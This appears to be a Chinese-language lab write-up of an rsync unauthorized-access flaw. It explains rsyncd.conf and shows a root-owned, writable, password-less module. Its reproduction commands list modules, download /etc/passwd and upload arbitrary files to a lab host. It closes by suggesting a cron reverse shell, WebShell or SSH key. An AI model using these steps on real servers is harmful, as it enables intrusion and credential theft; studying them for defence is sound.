1. 程式人生 > >rsync 未授權訪問漏洞

rsync 未授權訪問漏洞

rsync

rsync,remote synchronize顧名思意就知道它是一款實現遠端同步功能的軟體,它在同步檔案的同時,可以保持原來檔案的許可權、時間、軟硬連結等附加資訊。 rsync是用 “rsync 演算法”提供了一個客戶機和遠端檔案伺服器的檔案同步的快速方法,而且可以通過ssh方式來傳輸檔案,這樣其保密性也非常好

rsync配置檔案

配置檔案 rsyncd.conf 由全域性配置和若干模組配置組成。一般在/etc/rsyncd.conf
配置檔案的語法為:

  • 模組以 [模組名] 開始
    模組定義什麼呢?主要是定義伺服器哪個目錄要被同步。每個模組都要以[name]形式。這個名字就是在rsync 客戶端看到的名字,其實有點象Samba伺服器提供的共享名。而伺服器真正同步的資料是通過path 指定的。我們可以根據自己的需要,來指定多個模組。每個模組要指定認證使用者,密碼檔案、但排除並不是必須的
  • 引數配置行的格式是 name = value ,其中 value 可以有兩種資料型別:
  • 字串(可以不用引號定界字串)
  • 布林值(1/0 或 yes/no 或 true/false)
  • 以 # 或 ; 開始的行為註釋
  •  \為續行符
引數 說明
uid 此引數指定與該模組之間的檔案傳輸的使用者名稱或使用者ID
gid 此引數指定在訪問模組時將使用的一個或多個組名稱/ID
use chroot 若為 true,則 rsync 在傳輸檔案之前首先 chroot 到 path 引數所指定的目錄下。這樣做的原因是實現額外的安全防護,但是缺點是需要 root 許可權,並且不能備份指向 path 外部的符號連線所指向的目錄檔案
max connections 指定該模組的最大併發連線數量以保護伺服器,超過限制的連線請求將被告知隨後再試
syslog facility 指定 rsync 傳送日誌訊息給 syslog 時的訊息級別
pid file rsync 的守護程序將其 PID 寫入指定的檔案
log file 指定 rsync 守護程序的日誌檔案,而不將日誌傳送給 syslog
path 指定當前模組在 rsync 伺服器上的同步路徑,該引數是必須指定的
comment 給模組指定一個描述,該描述連同模組名在客戶連線得到模組列表時顯示給客戶
read only 指定是否允許客戶上傳檔案。若為 true 則不允許上傳;若為 false 並且伺服器目錄也具有讀寫許可權則允許上傳
auth users 指定驗證使用者名稱,可以不設定,不設定預設不用密碼,設定的話安全性更高點
secrets file 指定密碼檔案,如果設定驗證使用者,這一項必須設定,設定密碼許可權為400
hosts allow 設定可以允許訪問的主機,可以是網段,多個Ip地址用空格隔開

該漏洞環境下rsync的配置檔案

uid = root
gid = root
use chroot = no
max connections = 4
syslog facility = local5
pid file = /var/run/rsyncd.pid
log file = /var/log/rsyncd.log

[src]
path = /
comment = src path
read only = no

由配置檔案,我們可以訪問path所指定目錄以外的目錄,該配置還定義了一個src模組,路徑指向根目錄,而且可讀可寫,最重要的是沒有設定使用者名稱,如此便無需密碼直接訪問

復現

  • 檢視可用模組
    rsync 192.168.122.1::
    rsync rsync://192.168.122.1:873/
    rsync rsync://192.168.122.1

  • 列出模組下檔案
    rsync 192.168.122.1::src
    rsync rsync://192.168.122.1/src

  • 下載任意檔案
    rsync rsync://192.168.122.1/src/etc/passwd ./
    rsync 192.168.122.1::src/etc/passwd ./

  • 上傳任意檔案
    rsync x.txt rsync://192.168.122.1/src/home/
    rsync x.txt 192.168.122.1::src/home/

然後可以寫入了一個cron任務,反彈shell,有Web服務的話,可以寫WebShell,或者寫ssh公鑰等

參考:
rsyncd.conf